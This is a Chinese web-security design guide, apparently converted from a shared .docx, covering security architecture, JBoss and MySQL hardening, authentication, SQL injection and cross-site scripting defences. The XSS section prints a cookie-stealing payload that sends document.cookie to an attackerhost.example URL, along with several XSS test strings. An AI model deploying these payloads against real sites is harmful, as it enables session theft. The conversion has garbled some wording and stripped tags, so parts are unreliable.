《web安全设计.docx》由会员分享,可在线阅读,更多相关《web安全设计.docx(36页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、一、引 言随着信息化进程的深入和互联网的快速进展,网络化已经成为企业信息化的进展大趋势, 信息资源也得到最大程度的共享。但是,紧随信息化进展而来的网络安全问题日渐凸出,网 络安全问题已成为信息时代人类共同面临的挑战,网络信息安全问题成为当务之急,假设不 很好地解决这个问题,必将阻碍信息化进展的进程。二、安全攻击、安全机制和安全效劳ITU-T X.800 标准将我们常说的“网络安全(networksecurity)”进展规律上的分别定义, 即安全攻击(security attack)是指损害机构所拥有信息的安全的任何行为; 安全机制(security mechanism)是指设计用于检测、预防安
2、全攻击或者恢复系统的机制;安全效劳(security service) 是指承受一种或多种安全机制以抵挡安全攻击、提高机构的数据处理系统安全和信息传输安 全的效劳。三者之间的关系如表 1 所示。三、网络安全防范体系框架构造为了能够有效了解用户的安全需求,选择各种安全产品和策略,有必要建立一些系统的方法来进展网络安全防范。网络安全防范体系的科学性、可行性是其可顺当实施的保障。图 1 给出了基于 DISSP 扩展的一个三维安全防范技术体系框架构造。第一维是安全效劳,给出了八种安全属性(ITU-T REC- X.800-199103-I)。其次维是系统单元,给出了信息网络系统的组成。第三维是构造层次
3、,给出并扩展了国际标准化组织ISO 的开放系统互联 (OSI)模型。框架构造中的每一个系统单元都对应于某一个协议层次,需要实行假设干种安全效劳才能 保证该系统单元的安全。网络平台需要有网络节点之间的认证、访问掌握,应用平台需要有 针对用户的认证、访问掌握,需要保证数据传输的完整性、保密性,需要有抗抵赖和审计的功能,需要保证应用系统的可用性和牢靠性。针对一个信息网络系统,假设在各个系统单元 都有相应的安全措施来满足其安全需求,则我们认为该信息网络是安全的。四、网络安全防范体系层次作为全方位的、整体的网络安全防范体系也是分层次的,不同层次反映了不同的安全问题,依据网络的应用现状状况和网络的构造,我
4、们将安全防范体系的层次(见图 2)划分为物理层安全、系统层安全、网络层安全、应用层安全和安全治理。1. 物理环境的安全性(物理层安全)该层次的安全包括通信线路的安全,物理设备的安全,机房的安全等。物理层的安全主要表达在通信线路的牢靠性(线路备份、网管软件、传输介质),软硬件设备安全性(替换设备、拆卸设备、增加设备),设备的备份,防灾难力量、防干扰力量,设备的运行环境(温度、湿度、烟尘),不连续电源保障,等等。2. 操作系统的安全性(系统层安全)该层次的安全问题来自网络内使用的操作系统的安全,如Windows NT,Windows 2023 等。主要表现在三方面,一是操作系统本身的缺陷带来的担忧
5、全因素,主要包括身份认证、访问掌握、系统漏洞等。二是对操作系统的安全配置问题。三是病毒对操作系统的威逼。3. 网络的安全性(网络层安全)该层次的安全问题主要表达在网络方面的安全性,包括网络层身份认证,网络资源的访 问掌握,数据传输的保密与完整性,远程接入的安全,域名系统的安全,路由系统的安全, 入侵检测的手段,网络设施防病毒等。4. 应用的安全性(应用层安全)该层次的安全问题主要由供给效劳所承受的应用软件和数据的安全性产生,包括 Web效劳、电子邮件系统、DNS 等。此外,还包括病毒对系统的威逼。5. 治理的安全性(治理层安全)安全治理包括安全技术和设备的治理、安全治理制度、部门与人员的组织规
6、章等。治理的制度化极大程度地影响着整个网络的安全,严格的安全治理制度、明确的部门安全职责划分、合理的人员角色配置都可以在很大程度上降低其它层次的安全漏洞。五、网络安全防范体系设计准则依据防范安全攻击的安全需求、需要到达的安全目标、对应安全机制所需的安全效劳等因素, 参照 SSE-CMM(“系统安全工程力量成熟模型“)和 ISO17799(信息安全治理标准)等国际标准, 综合考虑可实施性、可治理性、可扩展性、综合完备性、系统均衡性等方面,网络安全防范体系在整体设计过程中应遵循以下9 项原则:1. 网络信息安全的木桶原则(万网域名空间注册 :/idc.admin5 )网络信息安全的木桶原则是指对信
7、息均衡、全面的进展保护。“木桶的最大容积取决于 最短的一块木板”。网络信息系统是一个简单的计算机系统,它本身在物理上、操作上和管 理上的种种漏洞构成了系统的安全脆弱性,尤其是多用户网络系统自身的简单性、资源共享 性使单纯的技术保护防不胜防。攻击者使用的 “最易渗透原则”,必定在系统中最薄弱的地方进展攻击。因此,充分、全面、完整地对系统的安全漏洞和安全威逼进展分析,评估和检测(包括模拟攻击)是设计信息安全系统的必要前提条件。安全机制和安全效劳设计的首要目 的是防止最常用的攻击手段,根本目的是提高整个系统的“安全最低点“的安全性能。2. 网络信息安全的整体性原则要求在网络发生被攻击、破坏大事的状况
8、下,必需尽可能地快速恢复网络信息中心的效劳,削减损失。因此,信息安全系统应当包括安全防护机制、安全检测机制和安全恢复机制。安全防护机制是依据具体系统存在的各种安全威逼实行的相应的防护措施,避开非法攻击的进展。安全检测机制是检测系统的运行状况,准时觉察和制止对系统进展的各种攻击。安全恢复机制是在安全防护机制失效的状况下,进展应急处理和尽量、准时地恢复信息,削减供给的破坏程度。3. 安全性评价与平衡原则对任何网络,确定安全难以到达,也不肯定是必要的,所以需要建立合理的有用安全性与用户需求评价与平衡体系。安全体系设计要正确处理需求、风险与代价的关系,做到安全性与可用性相容,做到组织上可执行。评价信息
9、是否安全,没有确定的评判标准和衡量指标, 只能打算于系统的用户需求和具体的应用环境,具体取决于系统的规模和范围,系统的性质和信息的重要程度。4. 标准化与全都性原则系统是一个浩大的系统工程,其安全体系的设计必需遵循一系列的标准,这样才能确保各个分系统的全都性,使整个系统安全地互联互通、信息共享。5. 技术与治理相结合原则安全体系是一个简单的系统工程,涉及人、技术、操作等要素,单靠技术或单靠治理都不行能实现。因此,必需将各种安全技术与运行治理机制、人员思想教育与技术培训、安全 规章制度建设相结合。6. 统筹规划,分步实施原则由于政策规定、效劳需求的不明朗,环境、条件、时间的变化,攻击手段的进步,
10、安全防护不行能一步到位,可在一个比较全面的安全规划下,依据网络的实际需要,先建立根本 的安全体系,保证根本的、必需的安全性。随着今后随着网络规模的扩大及应用的增加,网络应用和简单程度的变化,网络脆弱性也会不断增加,调整或增加安全防护力度,保证整个 网络最根本的安全需求。7. 等级性原则等级性原则是指安全层次和安全级别。良好的信息安全系统必定是分为不同等级的,包 括对信息保密程度分级,对用户操作权限分级,对网络安全程度分级(安全子网和安全区域), 对系统实现构造的分级(应用层、网络层、链路层等),从而针对不同级别的安全对象,供给 全面、可选的安全算法和安全体制,以满足网络中不同层次的各种实际需求
11、。8. 动态进展原则要依据网络安全的变化不断调整安全措施,适应的网络环境,满足的网络安全需求。9. 易操作性原则首先,安全措施需要人为去完成,假设措施过于简单,对人的要求过高,本身就降低了安全性。其次,措施的承受不能影响系统的正常运行。六、完毕语由于互联网络的开放性和通信协议的安全缺陷,以及在网络环境中数据信息存储和对其 访问与处理的分布性特点,网上传输的数据信息很简洁泄露和被破坏,网络受到的安全攻击 格外严峻,因此建立有效的网络安全防范体系就更为迫切。实际上,保障网络安全不但需要 参考网络安全的各项标准以形成合理的评估准则,更重要的是必需明确网络安全的框架体系、安全防范的层次构造和系统设计的
12、根本原则,分析网络系统的各个担忧全环节,找到安全漏 洞,做到有的放矢。=网站安全性设计名目一、系统治理方面的安全性考虑 . 31、首当其冲的是效劳器的安全 . 32、其次是 FTP 或者远程治理等的帐号安全 . 33、应用效劳器的安全性。 . 34、数据库的安全性 . 4 1 修改 mysql 的监听地址: . 5 2 尽量养成在 mysql 下输入密码的习惯,由于 Shell 下面输入的时候可能会被其它人观察。5 3 删除历史命令记录5 4 设置数据库的访问权限55、数据的安全备份与恢复机制。56、防止感染病毒或木马的图片或附件上传到网站上。57、使用网页防篡改工具。58、使用防火墙、入侵检
13、测、 WEB 安全网关等安全软件来保护系统。 . 59、使用 WEB 应用防火墙 . 510、使用漏洞扫描工具对网站进展安全性测试 . 5二、网站开发方面的安全性考虑 . 51. 用户身份验证 . 52、使用 S 进展用户身份认证。假设不承受这条,至少要承受第一条。3、双重验证 . 64、抗 SQL 注入式攻击 . 65、使用 Acegi 进展权限掌握。 . 7 6、抗 Cross-Site Scripting. 7风险: . 7技术说明: . 7恶意代码可能会做: . 7. 6一些注释:. 7攻击方法:. 7根本缘由:. 8解决方式:. 8使用时机:. 8分类: . 8实施方式:. 9危害:
14、 . 10防范: . 11觉察问题: . 13参考资料: . 147 、网站的错误信息必需经过处理后再输出 . 14一个网站,安全问题可能从多方面而来。光是任何一方面,都不行能保证确定的安全。一个安全的网站,必需要各方面协作才能打造出来。一、系统治理方面的安全性考虑1 、首当其冲的是效劳器的安全效劳器本身假设被人入侵了,你的网站系统再安全,那也没有任何作用。记得要关闭全部没有使用的端口。要设置简单的密码,关闭没有使用的账户。2 、其次是 FTP 或者远程治理等的帐号安全假设人家破解了你的 FTP 或者远程治理权限,那也就等于窗户开给人家怕,那家里的东西自然是任凭拿了。3 、应用效劳器的安全性。
15、3.1 、Jboss 安全加固一、 前言:Jboss 默认安装以后,会默认翻开 :/127.0.0.1 ,显示如下:1. JBoss Online Resources2. JBoss 4.0 documentation3. JBoss Wiki4. JBoss forums5. JBoss Management6. Tomcat status (full) (XML)7. JMX Console8. JBoss Web ConsoleJmx Console 和 Jboss Web Console 里面可以修改和删除应用的参数,假设不加强安全设置, 将会带来严峻安全后果。二、 关闭治理端口和相关
16、统计信息:1 、 关闭 jmx-console : 删除/export/home/jboss-4.0.3SP1/server/default/deploy 下名目 jmx-console.war 、management2 、 关闭 web-console : 删除/export/home/jboss-4.0.3SP1/server/default/deploy/jbossweb-tomcat55.sar 下名目 ROOT.war3 、 关闭 status 统计信息:修改/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war/WEB-
17、INF/web.xml 屏蔽其中 jboss 的内容: 粗体为添加屏蔽符号: JBoss JBossStatus Servlet org.jboss.web.tomcat.tc5.StatusServlet Status Servlet /status 4 、 删除 jboss 主页相名目和文件:/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war下:Manager/favicon.ico/jboss.css/jbossindex.html/logo.giflion:/export/home/jboss-4.0.3SP1/serv
18、er/default/deploy/ROOT.war # rm -rf manager favicon.ico jboss.css jbossindex.html logo.gif5 、 备注:三、 关闭完成测试:1 、 :/127.0.0.1/jmx-console2 、 :/127.0.0.1/web-console3 、 :/127.0.0.1/jbossindex.html4 、 :/127.0.0.1/status5 、 测试结果:保证上述的效劳都已关闭4 、数据库的安全性设置数据库只有应用效劳器才能连接。其他外部的机器一概不能连接。设置简单的密码。1修改 mysql 的监听地址 :
19、默认 mysql 是监控全部的 ip 地址,也就是 0.0.0 .0 ,为了安全考虑,我们或许只要 mysql 监控本地地址就好了。那么可以只要修改/etc/init.d/mysqld 文件,在 start 局部找到类似下面这行$bindir/mysqld_safe -defaults-file=/etc/f -datadir=$datadir -pid-file=$pid_file /dev/null 2&1修改成下面的这个样子$bindir/mysqld_safe-defaults-file=/etc/f-datadir=$datadir-pid-file=$pid_file-bind-a
20、ddress=127.0.0.1 /dev/null 2&1留意:对于绑定地址这个参数不要加在defaults-file 参数前面,否则 mysql 会启动不了,并给出下面的错误:051025 9:57:27 ERROR /usr/libexec/mysqld: unknown variable ”defaults-file=/etc/f”所以我们把defaults-file= 参数放在最前面。或者你可以在/etc/f 的mysqld 段参加bind-address=127.0.0.1 这样一行。重启 mysql ,即可生效。 2 尽量养成在 mysql 下输入密码的习惯,由于 Shell 下
21、面输入的时候可能会被其它人观察。 3 删除历史命令记录这些历史文件包括 /.bash_history 、 /.mysql_history 等。假设翻开它们,你会大吃一惊, 怎么竟然有一些明文的密码在这里?! 4 设置数据库的访问权限5 、数据的安全备份与恢复机制。6 、防止感染病毒或木马的图片或附件上传到网站上。7 、使用网页防篡改工具。8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。9 、使用 WEB 应用防火墙10 、使用漏洞扫描工具对网站进展安全性测试二、网站开发方面的安全性考虑1. 用户身份验证传统的用户验证过程如下:将客户端输入的验证信息进展MD5 加密形成“ 密文
22、 1” ,发送到效劳器端,效劳器端从数据库读出验证信息的MD5 值密文 2 ,然后“ 密文 1” 与“ 密文 2” 比照,假设相等则认证成功,否则失败。 但是,假设“ 密文 1” 在传输过程中被非法猎取,非法用户即使不知道“ 密文 1” 的内容,直接向效劳器发送“ 密文 1” 并恳求验证,则验证可能成功,用户的真实性无法保证。因此,需要对用户的验证过程进展改 进。在客户端恳求验证的同时,通过 Ajax 技术异步向效劳器申请一个临时的验证码,客户端将用户信息进展n 次 MD5 混合运算后生成“ 密文 1” ,附加验证码一起发送到效劳器, 效劳器首先检查验证码是否与效劳器端全都,假设全都,到数据库
23、中检索是否存在“ 密文 1” 的用户,存在则成功,否则失败。验证码是改进后的验证关键,同时验证码还可以防止入侵者使用程序自动登录效劳器,进展密码的暴力破解。因此,技术上要求不能 被复制,不能被扫描仪自动识别,随机生成。承受模糊的图片方式才能到达要求。2 、使用 S 进展用户身份认证。假设不承受这条,至少要承受第一条。3 、双重验证有些系统只在客户端进展验证,这是很担忧全的。由于在传输过程中有可能被恶意篡改,效劳器得到的将不是真实的数据,或者直接在 URL 中输验证恳求,将会绕过客户端的验证程序,提交担忧全的数据。因此,可以承受双重验证的方式,客户端 的验证可以提高与用户的交互性,效劳器端的验证
24、保证数据的安全性。4 、抗 SQL 注入式攻击SQL 注入式攻击是指在输入框或 URL 中输入 SQL 语句,绕过验证程序,非法猎取用户的访问权,进展非法操作的入侵方式。防范 SQL 注入式攻击的方法常用两种,一种是使用数据库治理系统的存储过程,另一种是对输入的信息和URL 恳求信息中的敏感关键字过滤。怎样防止 SQL 注入?比方 URL 、表单等提交信息时,通过一段防止 SQL 注入的过滤代码即可防止出错信息暴露,或者通过转向,当系统出错时转到一个提示出错的页面等。同时效劳器权限设置是一个格外重要的方面,由于涉及到效劳器的配置比较多,本文不介绍。对于文本型输入,假设要进展检查,就得依据字段本
25、身的性质进展。例如假设是年龄,就得限定必需是数字,大小必需限定在一个范围之间,比方说18-120 之间。对于用户名,应当建立一个集合,这个集合里存放有被允许的字符,或被制止的字符。这里特别需要说明的一点是关于检查程序的问题。目前,程序对输入数据的检查是在前台通 过客户端脚本完成的,这样攻击者很简洁就可以绕过检查程序。建议承受前后台结合的方法, 既可以保证效率,有可以提高安全性。5 、使用 Acegi 进展权限掌握。6 、抗 Cross-Site Scripting风险:可以偷盗或者操作用户 Session 和 Cookie ,这样攻击者可以扮演一个合法的客户进展操作。技术说明:Cross-Si
26、te Scripting 是一种隐秘攻击行为,它能使得攻击者获得合法客户的身份和特定的效劳器进展交互。攻击者利用这样一个事实:网站未对用户在页面中输入的 JavaScript通常是作为参数值进展清洗消毒。这样,当在返回信息中包含这段 JavaScript 代码,这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以猎取的这个站点或者正在扫瞄这个网站的其他窗口的 cookie ,攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。假设用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个恳求。假设这个
27、网站将这串参数值恶意代码嵌入在返回中,恶意代码将在客户端的扫瞄器中执行:恶意代码可能会做:1. 将用户的 cookie 发送给攻击者2. 将能够通过 Dom(URLs, Form field 。) 取到的信息发送给攻击者,结果是客户的安全性受到了威逼。一些注释:1. 虽然攻击者的 Web Site 也被卷入,但是并没有直接包含进来。攻击者通过承受“ jumpstation ”方式将返回客户,似乎是合法的It is used as a ”jump station” for the malicious script sent by the attacker, to return to the vi
28、ctim”s browser, as if it is legitimate.。无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送 email 的方式发送给受害人。3 由于用户输入是作为 form 的字段值,可以知道这串恶意代码从什么地方来的,4. 各种扫瞄器实现的不一样,有时候在这种扫瞄器上没有问题,但是换一种扫瞄器就会有问题。攻击方法:写一个链接: 参数值为:document.location= ” :/attackerhost.examp
29、le/cgi-bin/cookiesteal.cgi?+document.cookie这样,当效劳器返回时,上面这串脚本将自动执行,将本地的 Cookie 觉察指定的 URL , 用户资料泄露了。根本缘由:1. 没有对输入进展约束,没有对输出进展编码2. 没有严格区分“ 数据” 和“ 代码”解决方式:1. 加强对参数的校验:肯定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明)使用时机:我尝试在各种不同网站查找 XSS 漏洞, baidu, , youku ,dangdang 等等。结果,我觉察 XSS 漏洞格外普遍!其实 XSS 利用的是网页的回显,即,接收
30、用户的输入, 然后再在页面显示用户的输入。总结一下几个可能会消灭漏洞的地方:1. 搜寻引擎2. 留言板3. 错误页面通过在上面那些类型的页面输入一些特别的字符包括 / “,如: ,然后在结果页中的源码处搜寻是否存在原样的: ,假设存在,恭喜你,觉察了一个 XSS 漏洞。分类:1. DOM-based cross-site scripting页面本身包含一些 DOM 对象的操作,假设未对输入的参数进展处理,可能会导致执行恶意脚本。如下面一些 DOM 操作:document.URL document.URLUnencodeddocument.location (and many of its pr
31、operties) document.referrerwindow.location (and many of its properties)举个例子,假设某个脆弱的页面的代码如下: Welcome! Hivar pos=document.URL.indexOf( “name=“ )+ 5 ; document.write(document.URL.substring(pos,document.URL.length); our system攻击者使用如下的 URL 访问时,则格外危急: :/ vulnerable.site/welcome.html?name=alert(document.co
32、okie)试 了一下,貌似 IE 、FireFox 等扫瞄器默认对alert(document.cookie) 进行了编码,阻挡了脚本的执行。但是对于 DOM 操作还是要更加慎重啊,比方把上面的页面修改一下,安全性就增加了不少:var pos=document.URL.indexOf( “name=“ )+ 5 ;var name=document.URL.substring(pos,document.URL.length); if (name.match( /a-zA-Z0-9$/ )document.write(name);elsewindow.alert( “Security error
33、“ );2. Reflected cross-site scripting也被称为 None-Persistent cross-sitescripting ,即,非长久化的 XSS 攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL ,当 URL 地址被翻开时,特有的恶意代码参数被HTML 解析、执行。它的特点是非长久化,必需用户点击带有特定参数的链接菜能引起。3. Persistent cross-site scripting长久化 XSS 攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常扫瞄网页时,站点从数据库中读取了非法用户
34、存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方消灭。实施方式:我们来试一把Reflected cross-site scripting 。当我们在某网站输入参数XXX ,觉察参数XXX 原样的消灭在了页面源码中:OK ,可以开头做文章了,我们将 XXX 替换为:abc“/alert(”haha”)a href=“ ,返回的 HTML 代码如下: alert( ”haha” ) 这样,alert(”haha”) 被执行了。这里再举例一些XSS 攻击行为:alert(“XSS“);/iframe src= :/example /scriptlet.html alert(”XSS”
35、);BODYbackground:url(“javascript:alert(”XSS”)“)?=”alert(“XSS“)”?XSS a=“get“;b=“URL(“;c=“javascript:“; d=“alert(”XSS”);“)“;eval(a+b+c+d); 更加具体的列表请参见 5危害:1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类治理员帐号2. 掌握企业数据,包括读取、篡改、添加、删除企业敏感数据的力量3. 盗窃企业重要的具有商业价值的资料4. 非法转账5. 强制发送电子邮件6. 网站挂马7. 掌握受害者机器向其它网站发起攻击防范:1. 必需明确:一切输入都是有害
36、的,不要信任一切输入的数据。2. 缓和 XSS 问题的首要法则是确定哪个输入是有效的,并且拒绝全部别的无效输入。3.替 换危急字符,如:“&“, “, “ ,“”“, “/“, “?“ ,“;“, “:“, “%“, “, “=“,“+“ 。各种语言替换的程度不尽一样,但是根本上能抵挡住一般的XSS 攻击。list=a4. python 的 cgi.escape 函数:def escape (s, quote=None):”Replace special characters “&“, “ to HTML-safe sequences. If the optional flag quote i
37、s true, the quotation mark character (“) is also translated.”s = s.replace( “&“ , “&“ ) # Must be done first! s = s.replace( “ , “ , “ ) if quote:s = s.replace( ”“” , “ ) return s5. ASP 中的 Server.HTMLEncode :%= Server.HTMLEncode(“The paragraph tag: “) %6. ASP.NET 的 Server.HtmlEncode 及 Server.UrlEnco
38、de :String TestString = “This is a .“ ; String EncodedString = Server.HtmlEncode(TestString); Server.UrlEncode(Request.Url.ToString);7. PHP 的 htmlspecialchars 方法:?php$new = htmlspecialchars( “Test“ , ENT_QUOTES); echo $new ; / Test?8. JAVA 中的 .URLEncode.encode :String mytext = java. net . URLEncoder
39、 . encode ( “ 中国“ , “utf-8“ );9. 有些网站使用过滤 javascript 关键字的方法来防止 XSS ,其实是很不明智的,由于XSS 有时候根本就不需要 javascript 关键字或者对 javascript 关键字进展格式变化来躲过过滤。10. 为全部的标记属性加上双引号。应当说这也不是万全之策,只是在转义了双引号的前提下的一道安全保障。比方:不加双引号时,onclick 被执行了: 加 上 了 双 引 号 , onclick 不 会 被 执 行 :11. 将数据插入到 innerText 属性中,脚本将不会被执行。假设是innerHTML 属性,则必需确保输入是安全的。如 ASP.NET 中: sp